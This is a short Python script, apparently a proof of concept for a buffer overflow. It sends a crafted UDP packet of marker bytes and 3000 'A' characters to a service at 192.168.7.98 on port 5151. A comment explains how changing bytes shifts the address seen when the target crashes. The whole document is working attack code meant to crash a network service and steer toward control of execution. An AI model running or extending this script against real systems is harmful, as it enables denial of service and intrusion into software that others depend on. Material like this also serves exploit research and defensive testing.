import sys from socket import * import time ip = "192.168.7.98" port = 5151 s = socket(AF_INET, SOCK_DGRAM) s.connect((ip,port)) bad = "\xab\xaa" bad += "\x41\x41" # flip these bytes around to get different addresses when the crash occurs bad += "A"*3000 bad += "\xad\xaa" s.send(bad);